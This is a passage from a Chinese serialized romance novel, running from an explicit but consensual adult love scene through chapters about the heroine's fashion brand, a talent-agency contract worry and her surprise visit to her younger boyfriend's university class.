她都已经结束了,他怎么才刚开始? 他吻着她缓缓前行。 相互碰触的刹那,他猛地睁开眼。 那阵尖锐的触感,仿佛一场夏天的海啸。 他似乎在这一刻之前,一直是一具没有感觉的行尸走肉,漫无目的地在没有色彩的人间里流荡。直到此时此刻,他才突然恢复了五官,能看到、能听到、能嗅到。 汗珠一滴滴往下落。 顺着下颌,砸在谈丹青的身上。 她好像在发光。 溶溶月下,暖玉生烟。 手指按压月复部的起伏。 摸着剧烈发抖的盆骨和肋骨。 眼睛被蒙了一层红色的膜,看什么都是带血色的。 耳膜里是气压失衡般的一声哨音。 全世界只有他们两人,幸存在混沌的台风眼之中。 绪东阳觉得自己今晚在尽力控制,缓步前进。 然而这一切在他视角中的所谓温柔和体贴,对谈丹青而言却是一截坚硬的木桩,在一下又一下重重地反复嵌入。 他越慢,这种难以形容的摩擦感反而无限拉长。 上面的棱角、血液静脉和体温。 全都深深地拓印进来。 每一次都一拍即合,完全吸纳。 “我做对了吗?”他还在她耳边问她,牵她的手,引到水源口,“是这样吗?” 谈丹青控制不住自己的感觉,泪眼朦胧地挤出一句恶言恶语:“不,不对,处男就是麻烦,菜菜死了……” 这句话似乎激怒了绪东阳,他在她耳尖上狠狠咬了一口,但似乎很快觉得自己咬重了,又改为慢慢地恬舐:“到底谁比较菜?你比较菜吧。” “才没有。” “那你抖什么?” “没有。” “嗯,一手水……” 绪东阳的月要,好得过了头,最严重的时候,会让她整个人错位,脑袋撞到床板上发出咚的一声响。他立刻将她拖回去,用手遮着她的头。 “我把你弄疼吗?”他吻着她的眼皮问。 谈丹青不回答,轻轻摇了摇头,然后抱紧了他的脖子。 他尝试了几种姿势,从后面比较深,坐着比较省力,侧面好接吻。但他最喜欢的,依然是最古板、最传统的姿势,和她面对面,凝视着她的脸。 因为这样他就能不放过谈丹青脸上的每一丝表情。太里面,她就会皱眉;位置对了,她就会轻轻哼;太大了,她就会眯着眼睛嗔他,要他不许再变大,还笑话他处.男技术就是差…… 但他没大男子主义自尊心,又对谈丹青有一种病态的痴迷,似乎只要能和她在一起,就什么都可以。 “能开灯吗?”绪东阳问。 谈丹青已经热得受不了,像脱水了的鱼。 “嗯?”她什么都听不清楚,唇张张合合。 “想看看你。” “唔……”谈丹青其实想说“不要”。 但她已经累得发不出声音。 她的沉默无声,于是绪东阳便觉得这是默许,伸手拧开了床头小灯。 橘色的灯光一亮,谈丹青立刻闭了闭眼,将头扭开。 这层光让谈丹青脸上的神情再也无处遁逃。 绪东阳这才发现,谈丹青神情里,除了享受,还有一丝出乎他意料外的青涩。 偶尔,她甚至看起来会看起来很茫然无措。 但她一意识到自己失了态,就会紧紧闭着眼睛,好像这样这种意外流露很快就会被掩盖起来。 怎么这么可爱呢? 可爱得想装在口袋里随身带走。 国家对私藏人口真的没有漏洞吗? 他想研究一下。 最后的时刻,两人额头贴着额头。 谈丹青紧紧抱着他的脖子,热腾腾的眼泪灌在他的身上。 “别,别走……缓一会儿吧。” “好。”他也用力地回抱她,进到更幽.秘的地方。 这晚最后其实也仅仅只做了两次。 他才刚食髓知味,但谈丹青已经有些吃不消,只得作罢。 床单脏得睡不了人,谈丹青叫他去换了条新的床单。 干净的白色床单铺下去,鼓起一阵风。 屋里那淡淡的麝香味,还没散,充斥着甜腻的味道。 谈丹青坐在床下休息,随手开了一盒烟。 点打火机时,绪东阳一把就给她拍掉。 “你打我干嘛?”谈丹青不乐意地瞪他。 “你干嘛?”绪东阳横眉冷对。 谈丹青手指白又长,夹着女士细烟尤为漂亮。 “事后一根烟啊!”她故作老练。 “快活胜神仙。”绪东阳冷声说。 “对。”谈丹青咯咯笑。 绪东阳平静地看着她,突然说:“你本来就比我大,还抽,是想在我前面早走多久?” 这句话叫谈丹青结结实实怔了怔。 她从来没有想过,两个人变成老头、老太太这么遥远的事。 老实说,她甚至就没有想过,和绪东阳之间明年的事。 她始终觉得,少年心性难定,一年时间都意味着久远。 何必想这么多。 “咒我啊?”谈丹青去揪绪东阳的耳朵。 “不许抽,”绪东阳在这件事上极其强势,说:“敢抽,我就再c你。” “你刚刚说什么?”谈丹青惊讶地瞪大眼:“你再说一遍!” “你听到了。”绪东阳说。 “好啊好啊,胆子越来越大了,嘁,吹什么牛,你难道还能来?”谈丹青说。 刚刚都弄出来那么多…… “你可以试试。” 她眼睛往下瞟,转了一圈。 才发现绪东阳是真还收着。 她撇撇嘴,将烟盒扔到一边,说:“不抽就不抽。” 她顿了顿,补充:“我本来也没怎么抽。以前也是提神。” 绪东阳在她额头上亲了一口,将烟盒扔进垃圾桶。 那里还有他们刚用过的T,脏得要命。 她躺回床上,绪东阳从背后抱了过来。 他的身体很强壮,饱满的肌肉给她一种巨大的安全感。身上用的是她相同的沐浴露和洗发水,但又有自己男性荷尔蒙的气味。这种味道让她既安心,又沉迷。 休息的这功夫,绪东阳才仔细看了看谈丹青的房间。 她就住在她工厂的二楼,虽说有厨房、有卫生间,生活设施一应俱全,但他总觉得很心疼,忍不住低头又去亲她。 “以后每天吃的什么,拍给我看。”他说。 “你这人,怎么这么霸道啊。”谈丹青说。 “我也会拍给你。”绪东阳说。 “好啦好啦,我拍就是了。”谈丹青说:“回去的票买了吗?” “还没,现在买吧,”绪东阳腾出手刷机票。 他今天上午十点有课,赶回去生死急速,不一定赶得上。 但他现在也没什么心思学。 谈丹青陪着他一起看机票,被褥下面,两只手又开始互相爱扌无着对方的身人本。这会儿正是最上头的时刻,似乎必须皮肤贴着皮肤,不然就没办法独立行走。 绪东阳买的是今天最早的一班飞机,看着他买好了票,谈丹青耷拉下来的眼皮也终于可以合拢。 她打着哈欠找自己的手机,“我手机呢?” “你找手机做什么?”绪东阳将她圈在怀里,他的体力还很旺盛,并不觉得多累,甚至有一种神清气爽的感觉。 “订闹钟。”谈丹青完全睁不开眼,但执拗地非要伸手找。 “我帮你。”绪东阳帮她将手机捞了过去。 “明天七点起,”谈丹青打着哈欠说,“我好开车送你……” 绪东阳闻言没说“好”,给手机解锁的动作一顿,将手机原封不动地放回了原处,然后俯身吻了吻她额头,说:“睡吧。” “设好了?” “嗯。”谈丹青以为绪东阳真帮她设好了,放下心合眼去睡。 感觉只是刚合眼,谈丹青朦胧里似乎听到了窸窸窣窣的穿衣声,她听不真切,想睁开眼睛看看,但眼皮又沉得连单纯睁眼都做不到。 等她终于醒来,外面已经很亮了。 她几乎是从床上弹下来,抓来手机看时间,已经十点多了。别说送绪东阳去机场,飞机都快起飞了。 她气坏了,连忙给绪东阳拨电话。 绪东阳接得很快,“喂……” 电话那头,人声嘈杂,带着细细的电流声。 “你已经到机场了?” “嗯。”绪东阳应道,语调里夹着促狭的轻笑。 谈丹青懊恼,“你走的时候怎么不叫我啊?我都不知道。” “你睡得正好。” “那你把我推醒啊!” “没必要。”绪东阳说。 谈丹青抿住唇,用很小很轻的声音说:“那我都不能来送你了啊。” 绪东阳那边静了静,说:“等我下次回来。” “别了,”谈丹青叹了口气,说:“跑来跑去的,你不累,我看着还累。” 绪东阳还想多聊两句,头顶播放登机广播。 “要登机了吗?”谈丹青问。 “嗯。” “那你快准备吧。”谈丹青催促道。 她想跟绪东阳说,她可能马上也会去北京看他。 但又怕最后是空欢喜一场,于是抿了抿唇,说:“我就先挂了啊。” “好。” 短促的几声呼吸后,电话挂断。 52 第52章 ◎查岗◎ 情人节的热潮褪去,除了满垃圾桶的玫瑰花,还有谈丹青工作室后台一路飙升的销量数据。 时下热点的流量回归平静,销量数据也重新进入静默期。谈丹青盘了盘后台数据,这一次情人节表现算得上稳中有进,尤其是将工厂迁到广州来,简直是神来之笔。 新工厂的发货能力终于能满足需求,有流量不算本事,接得住流量才算本事,谈丹青觉得自己这回就算接住了。 邮箱里多了一封邮件,是一个自媒体账号的采访邀约。谈丹青点开对方主页一看,和她还挺对路子,过往视频和文章多是女性主题,和她的品牌调性也契合。自媒体账号推广也会带来不小的曝光,她便立马回复了邮件,欣然接受。 两人约在一家格调不错的咖啡厅见面。博主是个和她年纪相仿的女孩儿,大方活泼,一见面就笑盈盈,显然是有备而来。聊起谈丹青从街头摆摊到创立潮牌的跌宕起伏,桩桩件件都门儿清,两人越聊越投机,咖啡都续了两杯。 采访结束,博主体贴地说“稿件我初拟好会先发您过目,不满意的地方我随时删改。” 到了晚上,邮件如约而至。 谈丹青点开文档,一行行读下去,心头竟有些恍惚。 她一路就是这么走过来的呀。 从摆地摊开始,先是跑小商品市场、然后做电商、做原创,就这么一步步做成新锐潮牌。 她不由对着屏幕自夸:“谈丹青啊谈丹青,你怎么就这么厉害,这么牛呢?” 滑到稿件末尾,一段关于她原生家庭的描写,却像一枚无形的小刺,轻轻扎进她的指尖。 “……初见谈丹青时,我觉得她人如其名。她这个人就如她的名字,大红大紫,花团锦簇。但她却说自己不像花,是野草。野草不怕火烧,不怕枯萎,只要给她一条缝,她就能从缝隙里钻出来。 “这种野草般的韧性,我想大概就来源于她破碎的原生家庭。她的出生,在我们看来可谓是地狱开局,母亲早逝,父亲离家,还有一个弟弟……” 谈丹青滑动鼠标,让这一行行还原她人生的字迅速往上飞,出离她的视线。 她不喜欢拿自己的原生家庭说事,这让她觉得自己弱小、无助,好像当着所有人的面被脱光了衣服。 Tdq:【稿件我看了,最后一段原生家庭的内容,烦请删除掉吧。】 博主:【请问是为什么呢?这段删掉有点可惜呢!】 博主:【害怕这段内容像是在卖惨?其实不会,现在关于原生家庭的讨论是一个热点,大家都在剖析自己。适度分享能拉近和读者的距离,让大家更‘粉’你这个人,而不仅仅是品牌哦。】 Tdq:【谢谢,但是我不需要大家喜欢我。】 过了半晌,博主回复:【好,既然你这么坚持,这一段我会删除。】 这件事她也告诉了郑芳,郑芳听后说:“如果你不想发关于你的内容,那就不发。但是现在作为你的合作伙伴,我必须要说,品牌影响力越来越大,以后即便这家自媒体不说,别的自媒体也会写,你逃不开的。” 谈丹青说:“我知道。” 这几天她一直有些心神不宁,她不放心地把工作室的评论区、相关话题广场翻了个底朝天,暂时没有看到任何关于谈国军的内容。 距离上次那场不愉快的碰面已经过去两个多月。谈国军还没来找她,她掐着手指,不知中间发生了什么,心头紧绷着的弦也不敢就此松开。 正盯着天花板神游,手机突然响起。 谈丹青这才发现一晃眼就已经是晚上十点。 这会儿绪东阳要来查她的“岗”了。 她嘴上总是叽叽歪歪,觉得天天打电话没这个必要。但其实每次隔着话筒一听到绪东阳的声音,又高兴得想跳起来。她努力压住那点不能为人说的雀跃,拖长着调子,“喂……你今天怎么这么早?还没到十点呢……” “你以为我是谁?”话筒里不是绪东阳的声音,却也是低沉又熟悉。 谈丹青微愣,取下手机看来电显示——“魏繁星”。 “是你?” 魏繁星说:“最近刚好来广东出差,见一面?” “魏总你是大忙人,没必要百忙之中抽空见我吧。”谈丹青开玩笑地说。 这段时间,网络上关于魏家大婚的小道消息满天飞,新娘将要选的高定礼服、婚鞋,都是时下热点。 她吃这碗饭的,自然不会少蹭这个热点,写了不少关于新娘装扮的软文,然后植入自己的品牌,赚了个盆满钵满。 所以,她对魏繁星的婚事,算得上心怀感激。 “怎么?”魏繁星淡笑着说:“谈恋爱了,就要同我避嫌?” “你怎么知道……”谈丹青下意识反问。 她和绪东阳的事,她谁都没说,连郑芳都不知道,魏繁星从何而知?难道他真手眼通天到这地步? “诈你的,”魏繁星又笑,但那笑意听起却又并不喜悦开怀:“刚刚听你说话的声音,就猜着了几分。你平时不这么说话。” 谈丹青抿了抿唇,静了半晌。 魏繁星接着说:“今晚见面,只谈公事,不必多想。” 谈丹青深吸口气,说:“好。” 去高档酒店一定要穿细头高跟鞋。这种鞋犹如刑具,谈丹青即便已经穿很久习惯了,但每次穿上踏入那水晶地板大厅里,都会觉得自己跟灰姑娘她那削了后脚跟的姐姐。 大厅衣香鬓影,一片浮华,穿黑色制服的服务生领她去到魏繁星的专座。 “好久不见。”魏繁星的声音温和沉静,像拂过深潭的微风。 他抬眼望来,目光在她身上轻轻一点,随即颔首致意。 许久未见,他倒还是老样子。 剪裁精良的黑色西装最衬他,肩线挺括。眉宇间的英气分毫未减,剑眉下那双星眸沉静依旧,蓄着清贵疏离的气质。 他面前的餐桌上已布好了菜,五分熟眼肉牛排佐法式餐前酒。高档餐厅考究的灯火将高脚玻璃杯照得璀璨如钻石,一圈圈光晕晃着人的眼睛。 “好久不见。”谈丹青唇角弯起一个得体的弧度,款款落座在他对面。 魏繁星切下一块牛排,说:“到广东还是该吃潮汕火锅,这牛眼肉做牛排反而可惜了。” 谈丹青用叉子一块块戳起已切好的牛排送入口中,笑着说:“魏总今天请我来,也不是真跟我谈食材吧。” 魏繁星也笑,说:“当然不是,是谈天气。” 谈丹青便顺着他的玩笑话,说:“广东天气的确不错。” “你当时跟小吕签合同,签了几年?”魏繁星终于兜完圈子,切入正题。 “两年。”谈丹青回答。 “今年到期?”魏繁星问。 “对,七月。”谈丹青说。 提及合同,谈丹青立刻打起精神,意识到魏繁星今天叫她出来,没什么儿女情长,是真有事在“点”她。 她忙仔细读魏繁星脸上神色。她也在外混过好些年,察言观色不是生手,可在魏繁星的脸上,她却什么讯息也读不出来。 魏繁星依旧切肉品酒,云淡风轻,说:“今天广东倒是天气不错,风吹得舒服,江城就潮得多。” “是。”谈丹青一面心中七上八下,一面跟魏繁星寒暄着天气。 魏繁星又喝了些红酒,方才开口:“跟你透个底,小吕那边最近不怎么太平,公司高层人员变动频繁。”他意味深长地停顿,指尖点了点太阳穴的位置,“你自己多留个心。” 他点到为止,不再多言,又去说起广东的天气。 这顿两人虽相安无事,但谈丹青却是食之无味,一直在想吕力鼎那边究竟发生了什么。 终于吃完饭,分别时,两人在酒店外等门童提车。 广东天气多变,黑色的天空下,远方有浓墨色的乌云压过来。 谈丹青朝屋檐外伸出手,探有没有飘落雨滴。 这个寻常的动作,却不知为何令魏繁星突然发笑。 灯火阑珊里,他侧头看着她,眼中盛着淡淡的微醺,说:“挺好的。” “什么挺好?”谈丹青问。 “没什么,就老朋友吃吃饭,聊聊天。”魏繁星笑着说,“没什么压力,挺久没这样了。” 谈丹青也笑,说:“魏总和别人吃饭,难道不这样?” “当然不。”魏繁星拨动着无名指上的戒指,说:“和你吃饭,跟和她吃饭,不一样的。” 谈丹青心领神会,明白魏繁星口中的“她”,指的是自己的妻子。 谈丹青昂头看头顶的星星,都市光污染是陈年旧疾,要很努力地去看,才能透过那层层雾霭,窥见一把碎星。 “魏总你和你妻子家境相仿、地位相仿,当然凡事要尊重她考虑她,不能无所忌惮。而我嘛,我人微言轻,自然不用考虑我的感受,就觉得很轻松。可对我来说,就不是这样了。” 魏繁星侧眸看了她半晌,忽地说:“差点忘了,你这么伶牙俐齿。” “谢谢夸奖。”谈丹青眼睛闪烁,受之无愧。 像下属一样送魏繁星上车离开,谈丹青立马开车回去,她一路车开得很快,险些闯了几个红灯。一回家,踢掉高跟鞋就翻通讯录打电话,朋友问朋友,总算将各方消息拼凑完整。 她签约的mcn公司有高管被举报涉嫌商业利益输送,一条线撸到底,而当初签她的吕力鼎恰巧不巧,就在这条线上。 高层即将面临大换血,走马上任的新总监是个美籍华裔,所谓一朝天子一朝臣,新总监当然希望自己一手扶持的品牌发展得更好,而她作为前任的“遗产”,后续资源被边缘化已成定局。 吕力鼎虽向她保证,他们处理舆情危机的经验非常丰富,能帮他们解决掉谈国军这个潜在风险。但如今吕力鼎自己都泥菩萨过河,在这种情况下,他还能如何帮她解决危机? 她相信不了别人,只能相信她自己。 晚上十点,绪东阳来查岗的时候,两人一边各自做着各自手头的事,一边聊着天。 谈丹青就将打算解约这件事也说给绪东阳听:“当初签约,是为了有流量扶持能把品牌打出来,但这两年下来,他们不仅没给我们多少帮扶,还拿了不少分成,现在还要雪藏我们,感觉没必要再留在他们这里。” 绪东阳说:“个人想和mcn公司解绑,最后却需要打官司的情况很多。” 她这才想起来,绪东阳大学学的是法学。 他理科成绩非常好,谈丹青一直没理解为什么他会选法学。 谈丹青说:“我不是解约,我是合同到期不续,这种情况难道也可能打官司吗?” “这事不一定,”绪东阳说:“你把当时签的合同发给我看一看,我现在在帮我的专业老师做项目,如果有问题,看能不能找老师帮帮忙。” “那太好了。”谈丹青将当时签的合同电子版发给了他。 绪东阳也是执行力强悍的性格,一收到合同,还谈着恋爱就当场看了起来。 绪东阳研究合同时,谈丹青继续清邮箱。突然一封新邮件跳了进来,标题是T大xxxxxxx。 她愣了愣,怎么会收到T大的邮件? 一点开,立刻惊叫了一声:“呀!” “谈丹青同学: 很荣幸通知你,你的申请资格已通过考核……培训时间……培训地点……” 电话那头绪东阳闻声一慌,问:“怎么了?有蟑螂?” “什么?有蟑螂???”谈丹青声音都变细了。 “我以为你那边有蟑螂。”绪东阳说。 “没有啊……”谈丹青说:“难道其实有?在哪儿?” 绪东阳叹了口气,说:“别找了,刚刚怎么了?” “哦↑→↓”谈丹青语调轻扬。 她仔细将T大公开课邀请函保存下来,然后卖了个关子,说:“我就不告诉你怎么了?快,把你的课表发给我看看。” “课表?”绪东阳说:“你要这个做什么?” “查岗啊!”谈丹青说:“就许你查我,还不许我查你了?我得看看你说你在上课的时候,有没有真的在上课。” 下一秒,绪东阳就将他课表的截图发来,“看。” “这还差不多。”谈丹青嘴角翘了起来。 北京! 她要来啦!!! * 下课铃响,绪东阳走出教室。 “绪东阳,”有女同学叫住他。 绪东阳停下脚步。 “今天晚上有空吗?”女同学期待地问,“我们去玩XXX。” “抱歉,”绪东阳回绝,“今晚有课。” 女同学说:“今晚的课挺水的,老师又不点名,去做什么。”她看过绪东阳的课程表才过来邀请他,今晚法学和金融都没有专业课。 “不了,”绪东阳看了一眼表,说:“先走了。” “哎……绪神怎么就这么难撩啊……” “放弃吧!这个已经无数人尝试都失败了。”两名女同学笑着走开,去撩下一位男嘉宾。 绪东阳在第二排一个空位上坐下。 敲铃前,他又翻出谈丹青发来的合同看了一眼。 他最近已经开始学合同法,又在帮专业课老师做事,对合同纠纷比较熟悉。 谈丹青签约的合同他最近已经看过不少类似的。都是签约后不兑现承诺,要解约再摆了一道。轻则脱一层皮,重则直接断送整个品牌未来。 这种事见多了,其实也麻木了,见怪不怪了。但他绝不可能让这种情况发生在谈丹青身上。因为他太知道,“丹心”这两个字,对她意味着什么。 抱着这份警惕,他特意看得非常仔细,逐字逐句推敲。 谈丹青目前发来的主合同他并没有发现有什么大坑,但听说还有一份补充协议。听老师说,很多坑可能挖在补充协议里。 “同学,”轻快的笑意响起:“这个位置有人吗?” 这是一门偏冷门的公开课,来教室的同学不算多,零散空出了不少位置,绪东阳便将黑色双肩包放在旁边的空上。有同学要坐过来,他便礼貌地将包提开,腾出位置,微微颔首示意对方可以入座,随即重新沉浸回密密麻麻的条款里。 让开了位置没多久,那女孩儿又请求:“同学,可以帮我开一下窗户吗?” 绪东阳从文件中短暂抽离,侧头看了一眼。窗户离那女生确实有点距离,推拉杆看起来也有些锈涩。他没有多言,起身几步过去,稍用力将窗户推开一道缝隙,让晚风透进来。 “谢谢。”对方道谢。 他简洁地回了声“不客气”,便坐回原位,用黑色水性笔标注一行关键条款,试图重新找回被打断的思路。 然而,几乎就在他刚沉入文字的下一秒,“同学,”那声音第三次传来,这次还递过来了一瓶未开封的矿泉水。 “这个瓶盖…能麻烦你帮我拧开一下吗?” 绪东阳的笔尖顿住了。 他并非没有助人之心,但此刻他正全神贯注处理一份对谈丹青至关重要的合同,需要绝对的专注。这种接二连三、目的性不明的打扰,让他心底无可避免地升起一丝被打断的烦扰。 他拧着眉,有些冷淡地抬起头。 暮色初染,开课前的教室人来人往,从阶梯教室窗槅跃进来的金色夕阳,静静地笼在谈丹青的米色亚麻雪纺短袖衬衫上。 她嘴角噙着笑,故意不看他,漆黑狡黠的双眼镇定地直视前方,坐在他腾出的空位上,向他递来一瓶矿泉水,脚上一双学院风黑色方头系带小高跟,故意轻轻在桌下踢着他的脚踝,勾住他的裤腿,悄无声息地往上卷。仿佛是全学校最漂亮最张扬的校花,在老师不注意的时候,欺负木讷沉默的书呆子。 绪东阳大脑一片空白,只有两个念头在死寂的思维空间里反复横跳:“她来了?”和“她怎么来了?”最后逻辑碎了一地,一个字也没挤出来。 绪东阳:“?” 53 第53章 ◎凶!◎ 随着上课铃响,矮胖慈祥的讲师走上讲台。 谈丹青立马不再和绪东阳讲小话,抬头托腮,下巴微扬,努力摆出一副好学生认真听讲的姿态。 但桌下,那双精致的黑色高跟鞋,依旧不安分地继续在绪东阳的裤角轻蹭着。 将他的黑色长裤卷起来,游弋,又放下。 永远也猜不到,下一秒她又要动什么坏心思。 一下,两下…… 踢到第三次,绪东阳搁在膝上的手倏然落下,精准地擒住了她作乱的脚踝,然后带着不容置喙的掌控感,将她的脚踝箍在自己小腿之间。 桌面以上,绪东阳脊背挺拔如松,侧脸还是那副骄矜的清冷学神做派;但桌下,他牢牢压制着她的脚踝,充满了隐秘的占有欲。 眼神的余光扫了过来,带着无声的控诉。 谈丹青生出一种,将好学生带坏成黄毛的负罪感,难得偃旗息鼓。 她重新看向黑板,煞有介事地握着一支黑色水性笔,笔尾一下下极其认真地点在摊开的笔记本上,仿佛在记什么金科玉律。 实际上,连笔帽都没摘下。 绪东阳自然地拿起桌上那瓶她“拧不开”的矿泉水,手腕还没用力,瓶盖就已经松开。原来水瓶早就被拧开过,又是她故意撩拨的一点小套路。 绪东阳低下头,在手机上敲了段消息,然后晃了晃手机,示意谈丹青去看。 谈丹青心领神会,谨慎地悄悄瞧了对着黑板写字的教授一眼,确认安全无虞,飞快点开聊天对话框。 Leo:【你怎么来了?】 谈丹青勾唇,回复:【姐姐来看你啊,惊不惊喜?意不意外?】 回完消息,谈丹青立马抬头看黑板,重新正襟危坐,誓要将“好学生”一演到底。 惊喜? 不,不是惊喜。 是不可思议。 他从北京跑过广东,太清楚这一路要怎么坐车、转乘、转乘再转乘。 他一大男人,皮糙肉厚,遇事折腾点就折腾点。可谈丹青费什么劲儿?他都说了,没必要,真没必要。 可是,她真突然活生生地出现在她眼前,那瞬间又仿佛像有人猛地拉开厚重遮光的幕布,天跟着亮了起来。 不得不承认,他还是期待着谈丹青能来。 亲眼看一看,他现在的生活。 Leo:【你应该提前跟我说,我好去机场接你。】 Tdq:【打笨蛋猫jpeg.】 Tdq:【提前告诉你,那是个什么惊喜啊!】 Leo:【昨晚突然问我要课表,为这事?】 Tdq:【终于想明白了!】 Leo:【真挺意外的,刚才那会儿,都没反应过来。】 Tdq:【哈哈哈!看出来了!你表情都傻了。】 这五讲四美好学生,谈丹青当不了一点,教授讲的都是法条,她听也听不明白,坚持了三分钟不到,就彻底放弃,开始悄咪咪跟绪东阳聊天。 Tdq:【我跟你说,我刚刚的是被你吓死了!】 Leo:【被我?】 绪东阳心想,到底谁吓谁啊? Tdq:【对!】 谈丹青义正言辞地控诉:【你刚刚,真的好凶啊!巨凶,我想方设法找你说话,你老不情愿。】 Tdq:【快被吓哭……】 Tdq;【猫咪表面大哭实则使坏jpeg.】 绪东阳拧眉,努力回忆自己刚才对待谈丹青的态度。 他那会儿真不知道来人是谈丹青,只将她当成普通同班女同学。 谈不上什么好感反感,但基本尊重礼貌都是有的。 顶多就是心里烦,有点挂脸了。 Leo:【我当时很凶吗?】* Tdq:【超级!!!】 Leo:【我不知道是你。】 他解释,但力度微弱。 直接向当事人告状,有一种特别的爽感,谈丹青越说越来劲儿。 Tdq:【哼,我要是你们班的同学,我才不追你呢。一点绅士风度都没有,就叫你帮忙拧下水,你都要把我吃了。】 那是只让他拧下水么?又搬椅子又开窗户,分明是要他伺候大小姐。 Leo:【这种话不兴说。】 绪东阳在桌下惩罚式地故意压了一下谈丹青乱踢的小腿。 见绪东阳那头真要醋意蔓延,谈丹青轻飘飘安抚了一句:【好啦好啦,追,行了吧?】 绪东阳又问:【为什么?刚不是说我凶吗?】 Tdq:【但也帅啊。】 谈丹青非常诚实。 她要是高中谈恋爱,肯定只谈帅的。 绪东阳言归正传:【怎么突然想到过来的?】 Tdq:【我可不是来看你的哦,我是来上课的。不要打扰我学习。】 Leo:【什么课?】 Tdq:【保密。】 谈丹青卖了个关子。一来,她就是想撩绪东阳,绪东阳问什么,她偏不告诉,就让他急;二来,她其实也有点不好意思说。都离开学院这么多年了,突然又回来当学生仔,不像样啊…… 她不说,绪东阳也有办法知道。 他在网上搜了一会儿,很快便查到了T大系列公开课的通知。这类公开课是针对校外人士,他们本校生反而很少参加,之前没关注。 Leo:【报的是这个课?】 Tdq:【???这样你都能搜到!】 Leo:【挺好的。】 他看了公开课的课程,挺为谈丹青高兴。谈丹青不是科班出生设计师,虽说各种想法天马行空灵性十足,但这种灵光一闪的点子可遇不可求。如果能有些理论基础,或许未来能走得更远些。 不是还要去纽约、去巴黎、去时尚周……那么走出专业学习的第一步,至关重要。 Leo:【现在知道你课表了。】 Tdq:【怎么,你还要监督我啊?】 Leo:【嗯,我陪你。】 看着这行字,谈丹青微微怔了怔。 重新走进校园,还是走进这所全世界最顶级的学府,要说一丁点都不紧张,那就是说假话。但这种不安和兴奋,仅有一线之隔。绪东阳的陪伴,让她从这条线的这一头,跳跃到了另一端。 她的右手放在膝盖上,不一会儿,绪东阳就抓到了她的手。 绪东阳突然将自己的手,放在了她的手背上。 他在桌下紧握着她的手,但脸上神色平常,双眼平静地直视前方。 谈丹青下意识往回抽手。 但她越往回抽,绪东阳追得越紧,也握得越紧。 他握在了她手指指节的位置,然后慢慢往前挪,直到再次将她的手紧紧握住。 谈丹青的掌心蒸出了汗,有一种隐秘的幸福感。 她有些紧张地环顾四周同学,今晚这位教授台风很好,大家都在认真听课。这才稍稍松了口气,更加清晰地抓着绪东阳的手。 他的手,热而烫,甚至能感觉到,他粗糙掌心上,皮肤肌理上的纹路。 “第二排第三位,”教授开始随堂抽查环节,投影幕上,大转轮飞转,停下来指到哪个座位,谁就要起来回答问题。 谈丹青一数,不就是她? 她吓了一大跳。 什么问题?怎么回答?她什么都不知道啊! “嗯……”谈丹青慢吞吞地站起来,心里七上八下。不会第一天,就要被赶上教室吧? 绪东阳立刻将课本推到她眼皮下,手指指到书上的一行字。 谈丹青立马心领神会,念道:“建立治安违法记录封存制度,保护了大家的隐私……” 坐前排的同学频频回头看她。 “这是哪个班的哇?好漂亮,以前没见过啊?” “我也没见过……” 谈丹青答完。 教授率先拍了拍手,表扬道:“不错不错,这位同学说得很好啊!”然后顺着谈丹青说的这个点开始往下讲。 谈丹青坐下,给绪东阳发消息:【真吓死我了。你怎么知道老师讲哪儿了?】 Leo:【我在听讲。】 Tdq:【我还以为你在跟我谈恋爱呢?三心二意大萝卜。】 Leo:【也没听很认真。】 Tdq:【呵呵,你就炫耀吧。】 Tdq:【我回答得好吗?】 Leo:【非常好。】 Tdq:【哈哈哈哈,我在T大发言还受表扬啊!】 教授不一定能记住班上所有同学的脸,但一个班的同学多少能认个七七八八,尤其是绪东阳军训后几乎都认识,都挺好奇他身边的女孩儿是谁。 下课后,绪东阳的室友张鹏便来问,“同学,你是哪个专业的呀?” “我……”回答前,她下意识看向绪东阳,一时不知绪东阳现在对她是什么态度,愿不愿意在室友面前承认自己是他的女朋友。就在“朋友”和“女朋友”两个字在舌尖上滚动时,这时绪东阳自然而然地接过话,说:“我女朋友,来学校玩。” “啊……原来如此,那欢迎欢迎。”张鹏说,“你第一次来,待会我们带你逛一逛吧。” “好呀。”谈丹青笑着答应。 谈丹青逛了T大的图书馆、湖泊和梅园。原来高级学府这么高级,图书馆大得吓人。 梅园往外走,张鹏说:“绪哥说他异地恋,你是特意来北京看他的吧?” “是的,也顺便来上课。”谈丹青说。 “上课?你是哪个学校的?H大?B大?”张鹏猜了几个T大附近的名校,有的学校谈丹青其实都没听说过,只觉得名字就很高大上。 谈丹青不卑不亢地说:“我啊?我早毕业了。” “已经毕业了?”张鹏有些意外,但又看了看谈丹青的脸,的确和他们身边的同龄人不太一样。这种区别很微妙,主要来源于眼周和眼神,但为了客气,平时即便注意到了,也不会刻意去戳破。 “你大学在哪儿读的?”张鹏追问,“我H大B大都有朋友,说不定认识呢。” “我没读大学。”谈丹青实话实说。 “哈,”张鹏以为她在开玩笑,哈哈笑了几声,说:“我们平时也这么玩,我是XXX职业技术学校。” 谈丹青不知道这个梗,说:“你也是职业技术学校的?我以为你是T大的。我本来也能去职校,但后来没去。” 话音一落,张鹏的脸色就微微一僵。半是惊讶半是疑惑地看了绪东阳一眼。 绪东阳弯腰在谈丹青耳畔低声解释,说:“他是我同学。XXX职业技术学校是大家之间开的玩笑。” “玩笑?”谈丹青微愣,意识到绪东阳口中的玩笑,其实是让“嘲讽”这个词听起来更好听。 她抬眼看向张鹏,对方脸上礼貌性的笑容还在,但眼神却已悄然变化,先前的好奇和惊艳,被一层难以掩饰的疏离和若有似无的轻视所取代。 “纯误会啊,”张鹏略显尴尬地扯了下嘴角,说:“我准备回宿舍了。绪东阳,你今晚回去吗?” “我不回。”绪东阳说。 “行。”张鹏点点头。目光在谈丹青脸上短暂停留了一瞬,随即利落地转身离开。 谈丹青的酒店就在学校旁边,坐电梯上27楼。 等电梯上升时,谈丹青看着变色的楼层,问:“我是不是说错话了?” “什么?” “他是你的室友吧?”谈丹青说:“他后面……会不会说些不好听的话?” “不会。”绪东阳干脆说。 “这么确定?” “嗯,”绪东阳说:“我是校拳击社社长。” 谈丹青本来还有点担心,闻言噗嗤笑出了声,说:“我以为你不做大哥很多年。” 绪东阳挑眉。 进门后,谈丹青说:“点外卖吧。吃宵夜。” “想吃什么?”绪东阳问。 “随便,”谈丹青说:“来点有特色的。” 绪东阳便在沙发上刷美团好评找外卖。 谈丹青打算去洗个澡,收拾好换洗衣物,正要踏入浴室,又探出头来,问:“你真不回学校了?” 绪东阳看着她,目光一寸一寸爬,说:“学校?学校早关门了。” 谈丹青好笑道:“真的假的啊?” 